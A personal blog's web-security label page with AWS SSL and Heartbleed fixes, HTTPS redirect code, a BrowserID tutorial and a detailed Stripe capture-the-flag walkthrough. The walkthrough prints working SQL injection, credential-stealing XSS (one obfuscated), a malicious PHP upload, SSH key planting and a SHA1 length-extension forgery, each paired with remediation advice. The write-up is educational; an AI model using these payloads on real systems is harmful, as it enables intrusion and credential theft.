Showing posts with label web security. Show all posts
Showing posts with label web security. Show all posts

Tuesday, October 14, 2014

How to Disable SSLv3 on AWS Elastic Load Balancers

In a blog post today, Google announced that a vulnerability in SSLv3 had been found that could allow attackers to intercept data that had previously been assumed to be secured. Luckily, a very small portion of the web (IE6 users on Windows XP) still use SSLv3, so it can safely, for the most part, be disabled to mitigate the risk from this issue.

http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html

UPDATE 10/15: As Andrew and Julio point out in the comments below, AWS has since updated their default cipher security policies. Replace steps 5 and 6.

To modify the ciphers on AWS ELBs, follow the following steps:

1) Log into the AWS console and click on "Load Balancers."
2) Find the load balancer that handles your site's traffic (you shouldn't need to worry about internal VPC LBs, etc.)
3) Click the "Listeners" tab
4) Find the HTTPS/443 listener and click "Edit" under the cipher column
5) Change the option to "Custom"
6) Uncheck the SSLv3 option
5) Change the policy to "ELBSecurityPolicy-2014-10" which disables SSLv3 for you.
6) Save.

This should be sufficient to mitigate this risk with the information that is currently known.

Redirect HTTP to HTTPS Behind AWS Elastic Load Balancer - Node.js and Apache

Apache

When you enable HTTPS for your website, you should enforce that HTTPS is being used by automatically redirecting users who access your site over HTTP to the HTTPS version. When using Apache, this is done via a host redirect entry with mod_rewrite:

<VirtualHost *:80>

# Beginning declarations here

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI}

# Rest of entry here...
</VirtualHost>

Apache Behind an ELB

However, in the Amazon Web Services world, most applications utilize the load balancer as an SSL-termination point. This means that the traffic is decrypted at the load balancer and all traffic being sent to the final destination instances is actually sent over HTTP (from a security standpoint, this is generally an accepted practice as the load balancer and instance are in the same network, and thus secure from eavesdropping). If you used the rule above, your users would wind up in an endless redirect loop.

To fix this, the "RewriteCond" needs to be changed to:

RewriteCond %{HTTP:X-Forwarded-Proto} !https

This rule will check to see which protocol the user was using before he or she hit the load balancer - which is what HTTPS redirection should use.

Node.js

When using Node.js, the same thing can be accomplished by inserting some middleware that listens for all traffic and redirects the non-HTTPS requests to their HTTPS equivalents.

var myApp = express () ,
myServer = http.createServer(myApp);

myApp.use(function redirectHTTP(req, res, next) {
  if (!req.secure) {
    return res.redirect('https://' + req.headers.host + req.url);
  }
  next();
});

Node.js Behind an ELB

Just as in our first Apache example, this works great until it is placed behind a load balancer. If you're using a load balancer, you need to make some modifications. Instead of "req.secure", do the following:

if (req.headers['x-forwarded-proto'] && req.headers['x-forwarded-proto'].toLowerCase() === 'http') {
return res.redirect('https://' + req.headers.host + req.url);
}

Using these techniques, you should be able to enforce the new HTTPS version of your website. Remember - if you serve both an HTTPS and an HTTP version of your site, the HTTPS is rendered pointless unless you also redirect the HTTP requests.

Tuesday, April 8, 2014

How to Fix OpenSSL Heart Bleed Bug on Amazon ELBs

The recently discovered "Heart Bleed" bug in OpenSSL is an extremely critical security issue. Amazon has been working to get all of their environments patched to the latest version of OpenSSL that remedies the issue.

If you have Elastic Load Balancers currently using an SSL certificate that was generated via OpenSSL version 1.1.0a-f, you need to follow these streps to revoke the current certificate on your load balancer and upload a new one.

First, update OpenSSL on the machine you are going to use to generate your private key and sign your certificate. I have written another post on how to do that here: http://blog.matthewdfuller.com/2014/04/how-to-fix-openssl-heart-bleed-bug-on.html

Once you have regenerated your keys and resigned your certificate, you can upload them to your load balancers.

Within the AWS console, click "EC2" in the Services menu.


Now, click on "Load Balancers" on the left-hand side and select your load balancer instance.

Click on the "Listeners" tab and notice the existing cert:


Click "Change" and then click "Upload a new cert."

Give your cert a name, paste in the private key and cert you created earlier, and provide any chain information if needed.

Hit save and your load balancer will push the changes.

If you want to do this via the command line or API, check out the official AWS documentation: http://docs.aws.amazon.com/ElasticLoadBalancing/latest/DeveloperGuide/US_UpdatingLoadBalancerSSL.html

How to Fix OpenSSL Heart Bleed Bug on Ubuntu

If you're looking for how to update your Amazon Elastic Load Balancer, click here instead.

The recently discovered "Heart Bleed" bug in OpenSSL is an extremely critical security issue. Fixing it is relatively simple now that Ubuntu has pushed out changes to their repositories containing a fixed version of OpenSSL.

The following steps need to be run on each server that you generated a certificate or private key on. If you are using one certificate on multiple servers, then the cert needs to be revoked and regenerated on one of them and then pushed to each of the other servers.

UPDATE: Thanks to anonymous commenter for pointing out that relying solely on the build information is not completely accurate. Versions earlier than 1.0.1 are not vulnerable (although you should upgrade now that a fix is live for the latest version).

First, to make sure you (for some reason) don't have the latest version, run the following commands:

openssl version -b

openssl version -a

The response will look like:

OpenSSL 1.0.1 14 Mar 2012

built on: Wed Jan  8 20:45:51 UTC 2014

If the date is not more recent than older than "Mon Apr  7 20:33:29 UTC 2014" and the version is 1.0.1, then you are vulnerable to the Heart Bleed bug.

UPDATE: Reworded the above to make it clearer that the vulnerable versions were built before April 7th.

UPDATE: As James points out in the comments, different versions may have been built at different times, thus you should rely only on the date, not the time. Anything before Apr 7 is considered vulnerable.

Next, update your repositories:

sudo apt-get update

Once this finishes, upgrade openssl:

sudo apt-get upgrade openssl

sudo apt-get install openssl libssl1.0.0

UPDATE: use the install command to upgrade only openssl and libssl rather than upgrading everything on the server.

Once the upgrade finishes, check the version again. It should now read "Apr 7" or later.

Now, you need to regenerate your certificate using a new private key. This process is the same as it as always been, but I am including the link here for posterity's sake:

(Use step 3 and replace the key and cert names with your existing ones to overwrite them).

Once finished, you need to restart your Apache server and any services using SSL.

Update: Now with video:

Wednesday, August 29, 2012

Stripe Capture the Flag - Level by Level Walkthrough

Last week, Stripe, a web payments company, launched an online web security-based capture the flag event which ended today (Wednesday) at noon. The event was designed to challenge participants on some very common, as well as lesser-known vulnerabilities that exist in web applications. I decided to try my hand at some of the challenges and was fortunate enough to make it through all eight levels and earn myself an awesome prize (a Stripe T-Shirt)! I spent a bit of time after each level collecting notes about what I had tried, what worked, what didn't, and why the vulnerability existed. Some of the challenges really required out-of-box thinking, but capturing the password, and eventually the flag, was a truly rewarding experience.

I have decided to make this blog post detailing each level now that the contest has ended. Stripe is releasing the CTF as a download for other organizers to run or to run locally, so if you haven't participated yet and may wish to in the future, I'd stop reading here because there are some very big spoilers ahead.

I am going to break down each level into: a description and background explanation (so even if you didn't participate in the challenge, you can still get an understanding of what is happening), what the vulnerability was, and remediation methods.

Note: All of my code solutions are also posted to my GitHub account. They are posted as-is and are not guaranteed to work without modification for your account/instances.

Level 0 - The Secret Safe
Background
The first level starts us off with a simple application. The Secret Safe is a form, written in JavaScirpt and the Mustache JS framework with a SQLite backend, that allows uses to enter a name, a secret name, and a secret, then save it in the database. The secrets can then be viewed by entering the name in a search field. We are told that the password to level one is stored in the database as one of the secrets. However, we don't know the namespace used to save the secret, and thus, cannot simply search for it. Trying out the application a few times allows us to see the functionality, which is relatively simple. Secrets can only be retrieved by entering the correct namespace in the box "view secrets for." Or can they?

Vulnerability
Luckily (for the attacker), the SQL statement used to retrieve the stored secrets is vulnerable to SQL injection. SQL injection allows us to enter arbitrary text that is interpreted as part of the actual SQL command. Here is the exact SQL statement that is used when the user searches for a secret.

SELECT * FROM secrets WHERE key LIKE ? || ".%"

The notation above appends the term entered by the user to the end of the statement using the || characters to append the term, represented by the ".%". For example, if we were to enter the term "test," the final statement would look like this:

SELECT * FROM secrets WHERE key LIKE "test"

The fact that the application uses the input from the user directly, without first escaping any characters that could cause issue with the query, is the basis for our exploit. Let's assume that the user enters the character "%" as the search term. In SQL, the % character is considered a wildcard. Let's look at the statement when % is entered:

SELECT * FROM secrets WHERE key LIKE "%"

This statement will cause all results to be returned because the % character will match all the results in the database. Entering a % gives us the following result (and the needed password):


Remediation
The fundamental problem with this web application (and the cause of most web application vulnerabilities) is that it fails to treat user-entered input as unsafe. Information that is provided by the user in any shape or form should never be trusted by the application without first checking the input. Each application has different methods of escaping data that is entered by the user before crafting a SQL query, so the appropriate method for the language being used should be implemented. However, even safer queries can be generated by considering the kinds of input. For example, an input asking for a user's name should never allow characters such as @, &, (, <, >, etc.).

Level 1 - Guessing Game

Background
Level one implements a simple guessing game. In order to determine the password to the next level, a secret combination must be provided. The level uses PHP to load a file on the server, read its contents, and compare it to the parameter provided via GET (passed in via a form). If the parameter matches the combination, then the password is released.

Vulnerability
One technique developers use in PHP applications is to assign parameters using the extract() function. This function takes a URL such as:

site.com/?attempt=test

and assigns the variable $attempt the value "test." This works well when there are many variables to be retrieved (such as submitting a large form) because it negates the need to assign each variable individually:

$attempt = $_GET['attempt'];
$var2 = $_GET['next_var'];
...

However, extract introduces a security risk because it allows variables that have been previously set to be overridden using input. For example, in the application code, the variable $filename is set before extract() is used. If we provide our own filename variable, we can overwrite the original:

/?attempt=&filename=

In this case, we are setting both the attempt and the filename variables to the empty string "". By following the logic of the code, we can now see that this will cause the combination variable to also set to "" since the filename is blank. Finally, this will cause the if statement:

if($attempt === $combination)

to evaluate to true, releasing our password.

Remediation
Although the extract() function is dangerous in its native form, its security can be improved by using extract() with the EXTR_SKIP option. This option prevents already defined variables (such as $filename in the above example) from being overwritten by $_GET or $_POST variables. In addition, prefixes can be used to append a string to the variable if it overwrites an existing one using the EXTR_PREFIX_SAME option.

Level 2 - Social Network

Background
The social network is a basic application that allows for images to be uploaded as a profile picture. There is little more functionality beyond that, but that is all that is needed to exploit this level.

Vulnerability
The vulnerability in level two is so severe that it is used in the attacks of future levels. The developers of the application allow users to upload files but do not restrict the uploads in any way. Although the upload page asks the user to upload an image, we can upload any file we like. Since the page is written in PHP, we can safely assume a PHP server is running and upload our own PHP files for execution. Analyzing the code shows us that the password is stored in a file called "password.txt." Using the file_get_contents() function of PHP, we can create a very simple page which will retrieve our password:

<?php
echo file_get_contents("../password.txt");
?>

Note that we need to use ../ to go up to the user directory from the uploads directory where our page is saved. Running the page from the uploads directory gives us the password needed for level three.

Remediation
The main vulnerability here is that the upload page accepts files of any type. PHP allows upload restrcitions based on the MIME type (i.e. image/png, image/jpg, etc.). A file's extension should not be used as a sole valid check because anyone can change the extension of a file, although it can be compared to the MIME type for a bit of added security. Since MIME can be spoofed or arbitrary code can be inserted into an image file, the best option is to use a combination of MIME and extensions, check the MIME type on upload, and manually assign an extension based on the MIME type.

Level 3 - Secret Vault


Background
Level three appears to be a simple login-based application. In order to determine the password, we need to login using a valid username and password. This application is written in Python (more specifically, the Flask framework) with a SQLite backend.

Vulnerability
As with level zero, the input from the user is not properly escaped before being compiled as part of the SQL query. This allows us to inject malicious SQL to return the user "bob" who holds the password to level four. Below is the exact query that is vulnerable:

query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username)

The query is executed using cursor.execute(query) in Python. The execute function prevents us from simply ending the first query with a semicolon and beginning a new query such as:

bob; UPDATE users SET salt='' WHERE username='bob'

or something similar to directly modify the data in the database. However, we can use the UNION keyword to extend the original query and return the information we want. In SQL, UNION merges the results of the left hand query with that of the right. By entering the following query as the username, we can set the values of password_hash and salt to ones we know:

bob' UNION SELECT 1 as id, 'd74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1' as password_hash, '' as salt FROM users WHERE'1'='1

To determine the value of the password_hash, we need to determine what function the application is using to calculate it. Looking at the code reveals that it is sha256. An online hash calculator allows us to determine a hash for a password we know, such as "pass" in the example above.

By setting the salt to the empty string '', we are causing only the password we entered in the password box, "pass," to be hashed. When it is, it matches the hash we provide, thus giving us access to the user account. The final statement, with the injection looks like:

SELECT id, password_hash, salt FROM users WHERE username = 'bob' UNION SELECT 1 as id, 'd74ff0ee8da3b9806b18c877dbf29bbde50b5bd8e4dad7a3a725000feb82e8f1' as password_hash, '' as salt FROM users WHERE'1'='1'

Remediation
As with level zero, user input should never be trusted. In this case, the first single quote after "bob" allows us to break out of the original statement. By properly escaping the input, this injection could be prevented.

Level 4 - Karma Fountain

Background
The concept of Karma Fountain is that users send other users "karma." However, to prevent abuse, the application also sends the password of the sending user to the recipient. A "super user" known as Karma Fountain has unlimited Karma to share. If Karma Fountain were to send Karma to someone, its password would also be exposed. The application prevents users from logging in as Karma Fountain. Finally, we are told that Karma Fountain logs into its account every few minutes.

Vulnerability
To find the vulnerability, we first need to determine what we can attack. By looking at the code, it is evident that one user-input field is not being escaped that is also displayed back to users of the application: the password field. The following code shows that the username is checked to ensure it contains only word characters, but no such protection is in place for the password field:

unless
     username =~ /^\w+$/die("Invalid username. Usernames must match /^\w+$/", :register)
end

Now that we have determined that the password field is not escaped, we need to determine an attack type. Since the password field is shown to all users who have received Karma from us, we can launch a cross-site scripting attack against Karma Fountain by sending it karma from an account with a password containing XSS.

To execute an XSS, we need to determine what is happening when we send karma. By using any intercepting proxy (such as BurpSuite or Zed Attack Proxy) or even using the web developer tools in the Firefox or Chrome browsers, we can see the exact request made to send karma.



As this shows, a POST is made to transfer/ with the parameters "amount" and "to." We now know that we need to craft an XSS that will make a POST request to with "transfer" set to any amount and the "to" field set to our username. Below is the XSS I used to do just that:

<script>var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST","transfer",true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("to=one&amount=25");</script>

By setting this string as the password of my account, I could then login, send Karma Fountain some karma, and wait until it logged in, executed my script, and posted karma to my account, exposing its password. The above XSS payload could also be written in JQuery using $.post if the site is using JQuery.

Remediation
As with SQL injection, XSS is made possible by the direct use of user input as part of a page. In this case, the password field is the only input that is not checked. XSS is prevented by properly encoding the output from stored user input before it is executed as part of the page itself. Every language and framework has varying methods for preventing XSS (such as htmlentities and htmlspecialchars in PHP). You can read more about preventing XSS at this OWASP page.

Level 5 - Domain Authenticator

Background
The Domain Authenticator is an application that allows users to provide a "pingback URL," a username, and a password to login. The pingback is essentially a website that validates the credentials and responds with AUTHENTICATED or DENIED. The response also includes the host, so for example, if "mysite.com/pingback.php" is provided, you will be authenticated as user@mysite.com. The goal is to authenticate as a level five user. However, the level five machines only have limited network connectivity to other stripe-ctf servers.

Vulnerability
The vulnerability in this level lies in a programming error that allows us to recursively chain pingbacks as well as how the host is checked. The level 5 server URL allows a /?pingback parameter to be used. So visiting the following URL would set the pingback as "mysite.com":

https://level05-1.stripe-ctf.com/user-xxx/?pingback=mysite.com

Knowing this, we can exploit the remote file vulnerability that exists in level two to upload a file that will always return AUTHENTICATED. I uploaded the following file, named pingback.php, to level two:

<?php
echo "AUTHENTICATED";
?>

However, trying to add just that URL as the pingback will only allow us to authenticate as a member of a level two machine since the host is a level two server. We want the response to come from a level five server. To do this, we can recursively string our URL such as:

https://level05-1.stripe-ctf.com/user-xx5/?pingback=https://level02-2.stripe-ctf.com/user-xx2/uploads/pingback.php

Entering this URL in the URL field causes the response to recursively appear to come from a level five machine, allowing us to gain access.

Remediation
This vulnerability is introduced because of programming logic error. The developers did not consider that a user would recursively chain pingback URLs. It just goes to show that user input should always be treated as untrusted and to expect the unexpected. The security of this application can be enhanced by carefully deciding what input should be accepted.

Level 6 - Streamer

Background
Streamer is a miniature Twitter-style application. Users post an update and all other users see it. There is one user, level07-password-holder, who checks in periodically (every three to four minutes) to see the latest updates. After creating an account, anyone can post updates which are seen by all other users. By visiting the url ajax/posts, a JSON string of all the previous posts can be viewed. When posting an update, a POST is made to that same URL with a post title, body, and CSRF token. The post body cannot contain quotes, or it is rejected. Finally, in order to remind users of their passwords, the application stores user credentials on a page called "user_info" which is available upon logging in. We are told that the level07-password-holder's password is complex and contains both single and double quotes, which is important.

Vulnerability
The vulnerability in Streamer is similar to the one in Karma Fountain (cross-site scripting). However, this level challenges the user to carefully craft an XSS attack that will obtain the required pieces of information and make the correct POST. Knowing that the level07-password-holder logs in every few minutes gives us an opportunity to create a payload. First, we have to find how the data is being retrieved and presented.

Streamer uses a JSON string of posts which is uses to update the posts/ page as well as save new POSTs of posts. To exploit the XSS, we need to break out of the returned JSON string and execute arbitrary code on the page without using quotes. A simple script allows us to do that:

}];</script><script>alert(1);</script>//

Entering this code as the body of a post and then refreshing the page causes the alert to appear. We now have the format for our XSS.

By looking at the source of the page, we can tell that JQuery is being used. This will make our attack much easier by giving us functions to work with and reducing the amount of code needed. It is also evident that a CSRF token is being used. Cross-Site Request Forgery is an attack that allows remote users to POST to a page from any other webpage, not just the page with the form. You can read more about CSRF here because our application is not vulnerable to CSRF thanks to the token. The token, however, is a necessary part of the POST request, so our XSS must obtain it before doing a POST.

Note: there are a number of ways this level can be solved using XSS. For example, I used JavaScript to find the CSRF token, then used GET to get the page with the user's credentials, obtained from the user_info page and POSTed all the results to the ajax/posts page. However, it is also possible to obtain the credentials, change the value of the textbox to match them, then submit the form, all using JQuery. In some cases, it is also possible to simply steal the user's session cookies, but this application used httponly cookies which prevent scripts from accessing them.

The methodology for this attack is to make a GET request to the user's user_info page (which contains his credentials), save the response, then POST the response to the ajax/posts page. Below is an XSS payload I used to do just that. Note that I used a replace function to remove the quotes before POSTing to prevent the password from escaping out of the JSON.

$.get("user_info", function(result){
        var data = $(result).find('td').text();
        var csrf_token = document.forms[0].elements["_csrf"].value;
        var replaced = data.replace(/"/g, "YY");
        replaced = data.replace(/'/g, "XX");
        $.post("ajax/posts", { title: "THIS", body: replaced, _csrf: csrf_token } );
    });

This payload now needs to be converted to character codes to avoid the use of quotes. Using an online converter such as this one, our attack now looks like:

}];</script><script>eval(String.fromCharCode(36, 46, 103, 101, 116, 40, 34, 117, 115, 101, 114, 95, 105, 110, 102, 111, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 114, 101, 115, 117, 108, 116, 41, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 100, 97, 116, 97, 32, 61, 32, 36, 40, 114, 101, 115, 117, 108, 116, 41, 46, 102, 105, 110, 100, 40, 39, 116, 100, 39, 41, 46, 116, 101, 120, 116, 40, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 99, 115, 114, 102, 95, 116, 111, 107, 101, 110, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 102, 111, 114, 109, 115, 91, 48, 93, 46, 101, 108, 101, 109, 101, 110, 116, 115, 91, 34, 95, 99, 115, 114, 102, 34, 93, 46, 118, 97, 108, 117, 101, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 118, 97, 114, 32, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 34, 47, 103, 44, 32, 34, 89, 89, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 39, 47, 103, 44, 32, 34, 88, 88, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 114, 101, 112, 108, 97, 99, 101, 100, 32, 61, 32, 100, 97, 116, 97, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 92, 34, 47, 103, 44, 32, 34, 88, 88, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 36, 46, 112, 111, 115, 116, 40, 34, 97, 106, 97, 120, 47, 112, 111, 115, 116, 115, 34, 44, 32, 123, 32, 116, 105, 116, 108, 101, 58, 32, 34, 84, 72, 73, 83, 34, 44, 32, 98, 111, 100, 121, 58, 32, 114, 101, 112, 108, 97, 99, 101, 100, 44, 32, 95, 99, 115, 114, 102, 58, 32, 99, 115, 114, 102, 95, 116, 111, 107, 101, 110, 32, 125, 32, 41, 59, 10, 32, 32, 32, 32, 125, 41, 59))</script>//

Once the attack is crafted, we can post it as an update, wait for the level07-password-holder to log in, then visit ajax/posts where we should see the password.

Remediation
Again, this attack relies on the application to treat user data as untrusted. By properly escaping all data that users input, this attack can be avoided.

Level 7 - WaffleCopter

Background
WaffleCopter is a food delivery service that has a set of user "levels." The earlier users (determined by user_id) are "premium" users and can order premium waffles. You, however, are not, and can therefore not order premium waffles. The goal of the challenge is the order a premium waffle without being a premium user.

Upon logging in, you are given an API endpoint, a user_id, and a secret. Using this information, you can POST to the endpoint using your secret and user_id to order a waffle. The application checks that you are a premium user before allowing a premium order.

The application also allows you to view logs of previous API requests. By viewing the following URL, you can see all of your requests: https://<level7_server>.stripe-ctf.com/user-xxx/logs/<your_user_id>. Replacing your user_id with "1" (a premium user) gives the following results:

2012-08-23 08:04:55 /orders count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo|sig:75c0741cc140d77f70bca0cb473788249f1fd0fe

2012-08-23 08:04:55 /orders count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken|sig:bbab520cfdd9b8b91df1e613b0525d252b7c777b

This page shows that a signature is appended to the request. To calculate the signature, an algorithm called SHA1 is used, as in the following code:

def _signature(self, message):
     h = hashlib.sha1()h.update(self.api_secret + message)
     return h.hexdigest()

Vulnerability
The vulnerability in this application comes from the fact that it is using SHA1 to calculate the signature. A well-known weakness of SHA1 is that it is vulnerable to an attack known as hash length extension. I am not going to delve into the cryptography involved, but here is a simple explanation from WhiteHat Security:

If you have a message that is concatenated with a secret and the resulting hash of the concatenated value (the MAC) – and you know only the length of that secret – you can add your own data to the message and calculate a value that will pass the MAC check without knowing the secret itself.
Source: https://blog.whitehatsec.com/hash-length-extension-attacks/

Ultimately, because of the way SHA1 is designed, we can inject arbitrary data onto the end of a request following a padding, calculate a valid signature, and send this as the new request. Since we know the signature of user_id 1 from the API logs, as well as the length of the key, we can now calculate a new extended and padding message and a new signature that will pass the check.

To do this, a tool called "sha-padding.py" was developed. It can be downloaded here: http://www.vnsecurity.net/2010/03/codegate_challenge15_sha1_padding_attack/. This tool takes the following parameters: <keylen> <original_message> <original_signature> <text_to_append>

We have the key length (14). The original message is a request from the API such as: "count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken". We also have the original signature (in my case: bbab520cfdd9b8b91df1e613b0525d252b7c777b). The text we want to append is this: "&waffle=liege". This will override the first variable "waffle" and replace "chicken" with "liege," the name of a premium waffle.

Running our tool gives us the following output:

new msg: 'count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x028&waffle=liege'
base64: Y291bnQ9MiZsYXQ9MzcuMzUxJnVzZXJfaWQ9MSZsb25nPS0xMTkuODI3JndhZmZsZT1jaGlja2VugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI4JndhZmZsZT1saWVnZQ==
new sig: 15fa901713b0252d03b30f206ad58aee06e6d846

We can now make a POST request to our end point using our new message and the new signature.

Remediation
This vulnerability is introduced because of the use of an insecure cryptographic function, SHA1. Many better alternatives to SHA1 have been developed, including HMAC. It would also help if the API logs of users were only available to those users (this would prevent us from getting the needed signature).

Level 8 - Chunk Servers

Background
The last level of the CTF is rightfully the most challenging. It really requires thinking outside the box and it is quite difficult to spot the possible vulnerability at first. This level involves a password storing mechanism that saves passwords in chunks. For example, a 12 digit password will be stored in 4 chunks of three digits each. These chunks are then distributed throughout "chunk servers" which can be on different ports of the same physical server or distributed among remote servers. The main server receives a request for a password check, splits the password into chunks, then polls each chunk server for its piece. If the chunk is correct it returns true. This continues until either a chunk server returns false, in which case the password is returned as incorrect, or all chunk servers return true, in which case the main server returns true.

When a POST is made, there is an option for "webhooks." A webhook will be sent a copy of the response, such as "success:true" or "success:false". One additional fact makes this level a bit more difficult: the level eight servers only have network access to other stripe-ctf servers.

As with each of the levels, Stripe provided the source code for download. In the case of level eight, downloading and running the source code locally is extremely beneficial to understanding where the vulnerability may exist.

Vulnerability
Finding the vulnerability really requires thinking about all of the information that a server returns with its response, down to the socket level. Using the following code snippet, we can make a sample request to the server and print out the information associated with the response.

data = json.dumps({"password": key, "webhooks": ["127.0.0.1:50010"]})
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
output = response.read()
response.close()

client, address = s.accept()
data_recv = client.recv(size)
if data_recv: 
     print(data + address)

Note that I have left out some import statements and other code for the sake of brevity.

When this code is executed, a response is printed, including the data response, as well as the address of the server and the port number. This information is crucial to discovering the vulnerability.

To find what is happening, we can make requests on our local server using a known correct and a known incorrect password. For example, if we start the server using password "123456789012", we can try requests with passwords "123456789012" (a correct one), "023456789012" (first chunk incorrect), "123056789012" (second chunk incorrect), etc.

By analyzing the responses, hopefully a pattern will emerge. When the error is in the first chunk, the port numbers of two successive requests increments by two (the exact change number may be different for each application instance). When it is in the third chunk, the increment is by three, and so on. This pattern allows us to develop a script that can brute force the chunks individually rather than the entire password at once (the difference between a few thousand requests and 999 billion).

Now, we need to run our script on a level two machine so that the webhook can be contacted (remember: level eight servers only have access to other stripe-ctf servers). Luckily, the level two server is running an SSH server as well, allowing us to connect. We just need to upload our public key to the ~/.ssh/authorized_keys file.

To do this, I created a simple PHP page, uploaded it to level two, and ran it. The same result could be accomplished with a PHP shell, allowing us to enter commands directly.

<?php
  chdir('/mount/home/user-xxx');
  mkdir('.ssh');
  file_put_contents('.ssh/authorized_keys', 'my_public_key_here') . "\n";
?>

Now, we can SSH into the level two server.

We can then cd to the uploads folder where we can run any scripts that are uploaded via the web interface (I never did get scp working).

Back to the script, there are a number of ways it could be done. Personally, I wrote a script that checked each chunk individually, starting with the first. It would try "000", "001," "002," etc. On each request, it would analyze the port in the response. If it changed by the port increment (2 for the first chunk, 3 for the second, 4 for the third, and 5 for the fourth), it continued to the next request. However, if the change was more than the expected increment, it would pause and send two new requests with the same chunk (for example, "001" "001"). It would analyze the ports again. If the increment was not the expected increment, it would repeat the process two more times. If the ports incremented more than the expected increment more than three times in a row, the script stopped and marked the chunk as the correct one.

The rechecks are done for error correction. Because many other users were testing on the same level eight server, two ports in the right increment did not always exist. However, it was rare that that would happen three or more times in a row.

Once the chunk was found, I edited the script to test the next chunk. The overall process took about one hour. The script could be much improved by using multiple threads. I am uploading my scripts to GitHub, but they require edits before being usable on systems and user accounts different than mine.

Eventually, after the third chunk was found, I switched to polling the main server for the full chunk: xxxxxxxxx000, xxxxxxxxx001, etc. When it returned true, I had found the flag!

Remediation
The vulnerability in this application is another programming logic error. The port that is returned in the request when a chunk is invalid should not be different from that of the main server. This again shows that attackers will use any information they can to exploit an application.

Conclusion

The Stripe CTF was a truly awesome experience. The challenges were crafted uniquely and with great precision. I admit that a number of these levels truly stumped me at first. But in a larger sense, they forced me to think in ways I hadn't previously thought. I hope this walkthrough has been beneficial and that this entire contest raises more awareness about web security as a whole.

Resources

During the CTF I was Googling like crazy. Here are just a few of the resources I used while working on the CTF and in writing this post.



Monday, July 23, 2012

Domain-Specific Sign-In with BrowserID

BrowserID (Persona) is Mozilla's login authentication system that treats emails as identities and usernames. By default, BrowserID works by simply providing verification that a user actually owns the email which they are using to log in. There are no additional checks made before the user is enrolled as a "user" on the site. This functionality is great for websites that want to simplify logins and allow anyone to sign up. But suppose your website needs to limit signups to valid users of your organization (i.e. everyone with a yourcompany.com email)?

Recently, while working on a project with Mozilla, I came across the need to restrict signups for a site I was working on. Although there has been some attempt to do this in the past (some Mozilla projects use BrowserID and still require additional verification), I could not find much documentation on restricting signups at the moment of login using email addresses. So I made my own and here it is!

Prerequisites

To start this guide is written for Django projects, specifically those using Mozilla's Playdoh framework. If you aren't using Playdoh, I suggest trying it out - it really simplifies Django development and helps get projects started in seconds. Also, Playdoh comes pre-setup with BrowserID. If you decide not to use Playdoh, you can still follow this tutorial, you'll just need to setup BrowserID on your own first. There are a number of guides for doing that (such as this one: http://django-browserid.readthedocs.org/en/latest/).

Step 1 - Modify Project Settings

There are two settings files you need to edit (assuming Playdoh is being used; if not, look for settings.py in your project): settings/base.py and settings/local.py.

In settings/base.py:

Add the following lines in the "BrowserID" section (or at the bottom of the page):

BROWSERID_CREATE_USER = 'project.app.util.create_user'
ACCEPTED_USER_DOMAINS = [
    
]

Replace "project" with the name of your project and "app" with the name of your app.

Save the file.

In settings/local.py:

Add the following line:

ACCEPTED_USER_DOMAINS = [
    #example.com,
]

Replace the commented line with a list of domains, comma-separated from which you would like to allow users. For example, the project I'm working on has the following setup:

ACCEPTED_USER_DOMAINS = [
    'mozilla.com',
    'mozilla.org',
]

Save the file.

Step 2 - Create a util File

In your application's home directory (not the project directory), create a file called "util.py." Add these lines to that file:

from django.contrib.auth.models import User
from django.conf import settings
from project import app

def create_user(email):
    domain = email.rsplit('@', 1)[1]
    if domain in settings.ACCEPTED_USER_DOMAINS:
            return User.objects.create_user(email, email)

Replace "project" and "app" with your project's and app's names.

Finish

Now, when your users click the "Sign In with BrowserID" button, they must use an accepted domain before their account will be created. If not, they will be redirected to the homepage without being logged in.

Video

If you prefer video instruction you can follow along with, here you go:

Friday, July 13, 2012

Defeating X-Frame-Options with Scraping

Introduction

Iframes are an element of web design that are loved and hated. Web developers (used to) love them because they easily allowed resources from various sites to be loaded on-demand within a webpage. Security professionals hate them because they allow content of one site (such as a login page) to be loaded within another site that may not be trusted. This introduces a security concern known as click-jacking where a malicious site overlays invisible elements over what the user believes is a safe login form.

The Solution

Since these concerns arose, the X-Frame-Options header was developed to prevent the loading of one site within an iframe of another. This header is supported by all major browsers and includes two options:
  • SAMEORIGIN - the site can only be loaded within pages of the same domain
  • DENY - the page cannot be loaded in a frame at all

Page Scraping

